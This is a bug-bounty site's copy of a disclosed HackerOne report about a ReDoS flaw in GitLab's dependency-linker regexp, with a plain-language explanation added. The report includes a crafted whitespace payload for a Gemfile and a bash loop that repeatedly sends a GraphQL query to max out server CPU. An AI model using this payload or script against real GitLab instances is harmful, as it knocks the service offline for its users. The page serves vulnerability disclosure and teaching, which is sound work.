Skip to content
DoS Disclosed report Intermediate

ReDoS in dependency linker for multiple filetypes that use the shared `link_method_call` regexp

A shared regular expression used by dependency linkers to generate links in dependency files is vulnerable to catastrophic backtracking. An attacker could cause a denial of service by submitting a crafted file that triggers excessive CPU usage when the file is viewed or queried.

GitLab

Originally disclosed on GitLab

  • Fixed in 4 months
  • Disclosed after 4 months

⚠️ Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #2370084 by joaxcar on 2024-02-10, assigned to @cmaxim:

Report | Attachments | How To Reproduce

Report

Summary

(note this is similar to https://hackerone.com/reports/2359528 but its two different regexps and are thus not related)

There are multiple DependencyLinker files that are responsible for generating links in dependency files. This usually happens during highligher when files are shown in plain view. A few of these linker files use the shared link_method_call function to generate the regexps to match links. This shared regexp generator is subject to catastrophic backtracking.

The regexp in link_method_call looks like this

Ruby
def method_call_regex(method_name, value = nil)  
        method_name = regexp_for_value(method_name)  
        value = regexp_for_value(value)

        %r{  
          #{method_name}            # Method name  
          \s*                       # Whitespace  
          [(=]?                     # Opening brace or equals sign  
          \s*                       # Whitespace  
          ['"](?<name>#{value})['"] # Package name in quotes  
        }x  
      end  

When this is used for example in GemfileLinker its used like this

Ruby
        link_method_call('source', URL_REGEX, &:itself)  

and the final generated regexp looks like this

Ruby
    /source\s*[(=]?\s*['"](?<name>https?:\/\/[^'" ]+)['"]/  

To break this regexp use a pattern like this

JavaScript
'source' + ' '.repeat(50000) + '"http://u'  

inside of a file named Gemfile.

The attacker can make the GitLab instance unresponsive by sending 1 request a second to

https://gitlab.example.com/GROUP/PROJECT/-/blob/main/go.mod?ref_type=heads&format=json&viewer=simple

to put all CPUs at max capacity (tested on 1K reference architecture)

Steps to reproduce

Use a local hosted Gitlab server

  1. Log in to Gitlab
  2. Create a new project (or use an existing one), make it public (for ease of attack)
  3. Upload the file attached here (or create your own one named Gemfile)
  1. Go to https://gitlab/example.com/-/graphql-explorer and run this GraphQL query (replacing GROUPNAME/PROJECTNAME)
GraphQL
query {  
  project(fullPath: "GROUPNAME/PROJECTNAME") {  
    repository {  
      blobs(ref:"main", paths: ["Gemfile"]) {  
        nodes {  
           
          plainData  
        }  
      }  
    }  
  }  
}
  1. The query should take a long time (probably error out)
  2. To exhaust the server, run this script in a terminal (change the URL and Project)
Bash
###  !/bin/bash

###  URL to which the curl request will be made  
URL="https://gitlab.example.com"  
PROJECT="groupname/projectname"

###  Duration for the loop to run: 1 minutes (60 seconds)  
DURATION=60

###  Start time  
START_TIME=$(date +%s)

###  Loop until the duration is reached  
while [ $(($(date +%s) - START_TIME)) -lt $DURATION ]; do  
    # Make the curl request  
    curl "$URL/api/graphql" \  
  -H 'Content-Type: application/json' \  
--data-raw '{"query":"query{project(fullPath:\"'$PROJECT'\"){repository{blobs(ref:\"main\",paths:[\"Gemfile\"]){nodes{plainData}}}}}","variables":null}' &

    # Wait for 1 second  
    sleep 1  
done  
  1. SSH into the gitlab server and use top or htop to view the CPU usage
Screenshot_2024-02-10_at_08.43.18.png
Screenshot_2024-02-10_at_08.43.18.png From the original on GitLab
Impact

DOS of gitlab instance and exhaustive resource consumption

What is the current bug behavior?

Usage of link_method_call can cause DOS they way its used in linker files

What is the expected correct behavior?

The link_method_call should be a safe regexp. Or there should be a limit on the amount of whitespace between the key and the value in the regexp

Impact

DOS of gitlab instance and exhaustive resource consumption

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

How To Reproduce

Please add reproducibility information to this section:

The original report as published on GitLab. Images and videos are our own copies; raw HTML is shown as text. View it on GitLab.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The regular expression generated by `link_method_call` allows unbounded whitespace between the method name and the quoted value, leading to catastrophic backtracking when many spaces are followed by an incomplete quote.

Impact

An attacker could cause a denial of service on the GitLab instance by consuming excessive CPU resources.

What the attacker needed

A GitLab instance; Ability to create or upload a file; The file is processed by a dependency linker

How it was found

  1. Log in to GitLab and create or use a public project.
  2. Upload a file named `Gemfile` containing a pattern that triggers the regexp.
  3. Run a GraphQL query to fetch the plain data of the `Gemfile` blob.
  4. Observe that the query takes a long time or errors out.
  5. Run a script that repeatedly sends the GraphQL query to exhaust server CPU.
  6. Check CPU usage on the server to confirm resource exhaustion.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A regular expression is a pattern used to match text. Some patterns can become extremely slow when given certain inputs, a problem called catastrophic backtracking. Here, a specially crafted file causes the server to spend a very long time matching the pattern, using up CPU and making the service unresponsive.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.